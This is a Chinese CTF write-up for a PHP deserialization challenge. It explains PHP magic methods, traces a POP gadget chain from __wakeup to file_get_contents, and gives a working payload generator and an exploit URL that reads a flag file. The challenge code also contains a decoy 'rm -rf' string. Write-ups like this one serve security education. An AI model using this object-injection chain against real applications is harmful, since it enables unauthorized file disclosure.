删库跑路,蹲监狱~ <?php
/*
PolarD&N CTF
*/
error_reporting(1);
class User
{
public $name = 'PolarNight';
public $flag = 'syst3m("rm -rf ./*");';
public function __construct()
{
echo "删库跑路,蹲监狱~";
}
public function printName()
{
echo $this->name;
return 'ok';
}
public function __wakeup()
{
echo "hi, Welcome to Polar D&N ~ ";
$this->printName();
}
public function __get($cc)
{
echo "give you flag : " . $this->flag;
}
}
class Surrender
{
private $phone = 110;
public $promise = '遵纪守法,好公民~';
public function __construct()
{
$this->promise = '苦海无涯,回头是岸!';
return $this->promise;
}
public function __toString()
{
return $this->file['filename']->content['title'];
}
}
class FileRobot
{
public $filename = 'flag.php';
public $path;
public function __get($name)
{
$function = $this->path;
return $function();
}
public function Get_file($file)
{
$hint = base64_encode(file_get_contents($file));
echo $hint;
}
public function __invoke()
{
$content = $this->Get_file($this->filename);
echo $content;
}
}
if (isset($_GET['user'])) {
unserialize($_GET['user']);
} else {
$hi = new User();
highlight_file(__FILE__);
}
基础知识
__invoke魔术方法
当对象当作函数直接调用时执行。
触发方式:把对象像函数一样加括号 () 调用
例子如下:
<?php
class CallableTest
{
public function __invoke($a, $b)
{
return $a + $b;
}
}
$obj = new CallableTest();
// 触发魔术方法
echo $obj(2,3); //输出 5
__get魔术方法
在读取一个对象不存在 / 不可访问的属性时自动触发。
例子
class Test
{
// $name 是要读取的属性名
public function __get(string $name)
{
echo "读取不存在属性:" . $name;
return "默认值";
}
}
$obj = new Test();
// 访问类中没有定义的属性,触发 __get
echo $obj->aaa;
//输出:读取不存在属性:aaa,然后输出返回值 默认值
__toString魔术方法
把对象当作一个字符串来使用的时候,PHP 会自动调用 __toString()
<?php
class Test {
public function __toString()
{
// 注意:__toString 必须 return 一个字符串,不能echo!
return "我是对象转字符串的结果";
}
}
$obj = new Test();
# 下述操作都会对__toString进行触发
echo $obj; //触发 __toString
print $obj; //触发 __toString
$str = "abc" . $obj; //拼接,对象被当成字符串,触发__toString
$str = (string)$obj; //强制转字符串,触发
printf("%s", $obj); //触发 __toString
$b = strlen($obj); //内部会转字符串,触发__toString
解题
整理下思路
unserialize()
│
└─▶ User::__wakeup()
│
└─▶ User::printName()
│
└─▶ 访问 $name (Surrender对象)
│
└─▶ Surrender::__toString()
│
└─▶ 访问 $file['filename']->content (触发__get)
│
└─▶ FileRobot::__get()
│
└─▶ 调用 $path() (触发__invoke)
│
└─▶ FileRobot::__invoke()
│
└─▶ FileRobot::Get_file('flag.php')
payload如下:
<?php
class User{
public $name;
}
class Surrender{
# 这里我有踩坑,把phone、promise这些无关的属性写下来,觉得无所谓就写了下来
# 后面由于private属性的影响导致我构造payload打不通,以后无关的属性就不要写了
public $file;
}
class FileRobot{
# 目标文件在../flag.php,不是flag.php
public $filename = '../flag.php';
public $path;
}
$user = new User();
$surrender = new Surrender();
$filerobot = new FileRobot();
$user->name = $surrender;
# 这里注意是赋值的数组
$surrender->file = ['filename'=>$filerobot];
$filerobot->path = $filerobot;
echo urlencode(serialize($user));
?>
http://9d715efa-398f-4f5c-8c58-a6a97dc19ecb.www.polarctf.com:8090/?user=O%3A4%3A%22User%22%3A1%3A%7Bs%3A4%3A%22name%22%3BO%3A9%3A%22Surrender%22%3A1%3A%7Bs%3A4%3A%22file%22%3Ba%3A1%3A%7Bs%3A8%3A%22filename%22%3BO%3A9%3A%22FileRobot%22%3A2%3A%7Bs%3A8%3A%22filename%22%3Bs%3A11%3A%22..%2Fflag.php%22%3Bs%3A4%3A%22path%22%3Br%3A4%3B%7D%7D%7D%7D

